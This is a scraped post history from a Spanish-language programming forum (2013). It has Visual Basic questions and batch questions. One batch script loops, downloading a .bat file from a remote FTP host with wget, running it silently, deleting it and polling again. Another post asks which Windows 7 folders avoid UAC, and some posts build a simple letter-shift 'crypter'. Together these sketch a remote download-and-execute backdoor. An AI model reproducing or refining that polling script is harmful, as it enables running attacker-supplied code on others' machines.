|
91
|
Programación / Programación Visual Basic / webbrowser textarea no funciona
|
en: 16 Septiembre 2013, 04:11 am
|
set HTML = WebBrowser1.Document
For Each HTMLI In HTML.getElementsByTagName("textarea")
If HTMLI.Id = "vB_Editor_001_textarea" Then
HTMLI.Value = titulo
End If Next por que este code no escribe nada en los textareas y en los inputs si ? ,si pudieras ayudarme gracias
|
|
|
92
|
Programación / Scripting / Re: ejecutar aplicacion en %appdata%
|
en: 8 Septiembre 2013, 00:11 am
|
Puede haber dos causas: 1. El archivo no existe (Te equivocaste de ruta) 2. Tu nombre de usuario contiene espacios en el nombre. Solución a los dos posibles problemas: If Exists " %APPDATA%\xd.bat" (Start /B "" " %APPDATA%\xd.bat" ) ELSE (Echo El archivo no existe )
PD: Para la próxima vez lo mínimo que puedes hacer cuando tengas una duda es postear el error que te manda la CMD al intentar ejecutar el archivo, no somos adivinos.Me parece que todas las carpetas del usuario actual están "desprotegidas", es decir todas las carpetas que estén dentro de la carpeta del perfil del usuario logueado, menos las ocultas como Application Data. Y puedes cambiar el propietario de cualquier carpeta con TAKEOWN y modificar los privilegios de acceso para ese usuario con ICACLS. Saludos gracias electro utilize %homepatch% funcionara en windows 7 ? y sobre lo otro funciono Start /B "" "%APPDATA%\xd.bat" lo que no entiendo por que esto Start /B "" " las tres comillas xD si pudieras explicarmelo
|
|
|
93
|
Programación / Scripting / ejecutar aplicacion en %appdata%
|
en: 7 Septiembre 2013, 23:46 pm
|
mi prenguta es por que esto no ejecuta la aplicacion start /b "%APPDATA%\xd.bat" y si me podrian decir directorios donde batch pueda copiar en windows 7 por ejemplo windows 7 no deja copiar ni crear carpetas en el directorio de windows por el uac ay carpetas que no tengan bloqueos ?
|
|
|
94
|
Programación / Programación Visual Basic / Re: ayuda con disque crypter
|
en: 11 Agosto 2013, 17:34 pm
|
Si la hay seria solo tienes que modificar un poco el código. y recorrer el texto.
habra alguna forma de que si presiono a se ponga %a% y se presiono b %b% asi susesivamente ? y si podrias explicarme como ponerle el for muchas gracias gracias
|
|
|
95
|
Programación / Programación Visual Basic / Re: ayuda con disque crypter
|
en: 11 Agosto 2013, 02:28 am
|
muchisimas gracias danyfirex ya entendi como quien diriaque los 3 que le sumas y los 23 que le restas son como para verificar ay me tienes viendo la tabla esta jaja a 97 b 98 c 99 d 100 e 101 f 102 g 103 h 104 i 105 j 106 k 107 l 108 m 109 n 110 o 111 p 112 q 113 r 114 s 115 t 116 u 117 v 118 w 119 x 120 y 121 z 122 oye abra alguna forma de que esto por ejemplo pego lo que quiero convertir en el textbox a otro texto y presionar un boton y se convierta por que de letra en letra esta bien pero seria mas comodo si se pudiera pegando de antemano gracias
|
|
|
96
|
Programación / Programación Visual Basic / Re: ayuda con disque crypter
|
en: 11 Agosto 2013, 02:00 am
|
El codigo no esta correctamente planeado, al ejecutarlo primero remplaza la b por la e, como esta previsto, pero luego encuentra que debe remplazar la e por h y asi sucesivamente, por lo que remplaza mas de una vez por letra deberias hacer un bucle for que recorriese letra por letra y las vaya remplazando una a una.
Saludos
me podrias explicar como hacer el for mas o menos? ya esta solucionado pero si no es mucha molestia como aria eso del for intente con for each pero no podia :S
|
|
|
98
|
Programación / Programación Visual Basic / ayuda con disque crypter
|
en: 10 Agosto 2013, 23:24 pm
|
por que este codigo no remplaza como dice por ejemplo escribo b aparece z y debe aparecer e pongo d debe aparecer g y apareze h Text1.Text = Replace(Text1.Text, "b", "e") Text1.Text = Replace(Text1.Text, "c", "f") Text1.Text = Replace(Text1.Text, "d", "g") Text1.Text = Replace(Text1.Text, "e", "h") Text1.Text = Replace(Text1.Text, "f", "i") Text1.Text = Replace(Text1.Text, "g", "j") Text1.Text = Replace(Text1.Text, "h", "k") Text1.Text = Replace(Text1.Text, "i", "l") Text1.Text = Replace(Text1.Text, "j", "m") Text1.Text = Replace(Text1.Text, "k", "n") Text1.Text = Replace(Text1.Text, "l", "o") Text1.Text = Replace(Text1.Text, "m", "p") Text1.Text = Replace(Text1.Text, "n", "q") Text1.Text = Replace(Text1.Text, "o", "r") Text1.Text = Replace(Text1.Text, "p", "s") Text1.Text = Replace(Text1.Text, "q", "t") Text1.Text = Replace(Text1.Text, "r", "u") Text1.Text = Replace(Text1.Text, "s", "v") Text1.Text = Replace(Text1.Text, "t", "w") Text1.Text = Replace(Text1.Text, "u", "x") Text1.Text = Replace(Text1.Text, "v", "y") Text1.Text = Replace(Text1.Text, "w", "z") Text1.Text = Replace(Text1.Text, "x", "a") Text1.Text = Replace(Text1.Text, "y", "b") Text1.Text = Replace(Text1.Text, "z", "c") gracias y si alguien me podria explicar el for each please xD
|
|
|
99
|
Programación / Scripting / Re: wget duda batch
|
en: 10 Agosto 2013, 19:16 pm
|
Te hago un ejemplo: Set "FTPDir=ftp://ftp.mozilla.org:21/pub/" Set "FileList= %TEMP%\Files.tmp" Wget "%FTPDir%" -O "%FileList%" && ( Type " %FileList%" | Find /I " %FTPDir%%FileName%" 1 >NUL && ( ) || ( Echo Archivo NO encontrado. ) )
Saludos elektro no me sirve ese codigo por que ocupa logiar a un ftp si podrias ayudarme con este gracias o si alguien se anima gracias @echo off copy %MYFILES%\wget.exe C:\wget.exe :XD
C:\wget ftp://usuario:password@server19.000webhost.com/public_html/as.bat -O "C:\xd.bat" FOR %%a IN (C:\xd.bat) DO IF %%~za == 0 DEL %%a FOR %%a IN (C:\xd.bat) DO IF %%~za == 0 DEL %%a
if not exist C:\xd.bat goto times if exist C:\xd.bat goto seguir :seguir ping 127.0.0.1 -n 3 start /b C:\xd.bat ping 127.0.0.1 -n 3 del C:\xd.bat
:times ping 127.0.0.1 -n 30
goto XD lo que hace este codigo es que si en el ftp esta el archivo as.bat lo baja y lo ejecuta y despues lo borra pero si no ay ningun archivo en el ftp se baja un archivo de 0kb con el nombre de as.bat y el for se encarga de borrar el archivo de 0 kb por que no me sirve habra alguna forma de revisar en el ftp si se encuentra el archivo as.bat y si se encuentra que lo baje y lo ejecute y si no no baje nada y vaya al tiempo de espera ? o alguna forma para que el wget no baje nada si no encuentra el archivo por que si el archivo no se encuentra en el ftp me baja un archivo de 0kb gracias
|
|
|
100
|
Programación / Scripting / wget duda batch
|
en: 8 Agosto 2013, 19:10 pm
|
habra alguna forma de que revise batch en un ftp remoto si existe un archivo y si existe que lo baje si no que se vaya tiempo de espera ? ejemplo :inicio if exist public_html/as.bat goto seguir if no exist public_html/as.bat goto tiempo :seguir wget ftp://usuario:password@servidorftp/public_html/as.bat -O "C:\xd.bat" :seguir ping 127.0.0.1 -n 60 goto inicio
quiero algo de ayuda en esto if exist public_html/as.bat goto seguir if no exist public_html/as.bat goto tiempo alguna forma de hacerlo ? o si no es posible asi alguna de idea de como wget no me baje un archivo de 0kb ? por que necesito que wget no me baje nada por ejemplo tengo un archivo en mi host si existe el archivo que lo baje y lo ejecute pero si no existe que no me baje nada porque wget me baja un archivo de 0kb aver si alguien me puede ayudar gracias
|
|
|
|
|
|
|